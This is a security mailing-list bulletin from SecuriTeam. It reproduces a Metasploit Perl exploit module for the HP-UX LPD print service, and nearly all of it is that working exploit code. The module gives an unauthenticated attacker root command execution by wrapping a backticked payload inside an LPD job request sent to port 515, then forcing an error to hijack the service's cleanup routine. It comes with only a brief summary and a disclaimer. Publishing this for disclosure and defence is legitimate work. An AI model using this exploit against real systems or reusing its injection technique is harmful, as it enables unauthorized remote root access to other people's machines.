The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
HP-UX LPD Service Remote "Root" Command Execution Exploit (meta)
------------------------------------------------------------------------
SUMMARY
This exploit abuses an unpublished vulnerability in the HP-UX LPD service.
This flaw allows an unauthenticated attacker to execute arbitrary commands
with the privileges of the root user.
DETAILS
The exploit below requiers the
<http://www.metasploit.com/projects/Framework/> Metasploit Framework.
Exploit Code:
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::hpux_lpd_exec;
use base "Msf::Exploit";
use IO::Socket;
use IO::Select;
use strict;
use Pex::Text;
my $advanced = { };
my $info =
{
'Name' => 'HP-UX LPD Command Execution',
'Version' => '$Revision: 1.13 $',
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>'],
'Arch' => [ ],
'OS' => [ 'hpux' ],
'Priv' => 0,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The LPD server port', 515],
},
'Payload' =>
{
'Space' => 200,
'Keys' => ['cmd_nospaceslash'],
},
'Description' => Pex::Text::Freeform(qq{
This exploit abuses an unpublished vulnerability in the HP-UX LPD
service. This flaw allows an unauthenticated attacker to execute
arbitrary commands with the privileges of the root user. The LPD
service is only exploitable when the address of the attacking system
can be resolved by the target. This vulnerability was silently patched
with the buffer overflow flaws addressed in HP Security Bulletin
HPSBUX0208-213.
}),
'Refs' => [
['URL', 'http://archives.neohapsis.com/archives/hp/2002-q3/0064.html']
],
'Keys' => ['lpd'],
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced},
@_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_path = $self->GetVar('RPATH');
my $cmd = $self->GetVar('EncodedPayload')->RawPayload;
my $res;
# We use a second connection to exploit the bug
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
srand(time() + $$);
my $num = int(rand() * 1000);
$s->Send("\x02msf$num`$cmd`\n");
$res = $s->Recv(1, 5);
if (ord($res) != 0) {
$self->PrintLine("[*] The target did not accept our second job request
command");
$s->Close;
return;
}
$s->Send("\x02 32 cfA187control\n");
$res = $s->Recv(1, 5);
if (ord($res) != 0) {
$self->PrintLine("[*] The target did not accept our control file");
$s->Close;
return;
}
$self->PrintLine("[*] Remember to kill the telnet process when finished");
$self->PrintLine("[*] Forcing an error and hijacking the cleanup
routine...");
$s->Send(Pex::Text::AlphaNumText(16384));
$s->Close;
return;
}
ADDITIONAL INFORMATION
The original article can be found at:
<http://www.frsirt.com/exploits/20051019.hpux_lpd_exec.pm.php>
http://www.frsirt.com/exploits/20051019.hpux_lpd_exec.pm.php
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
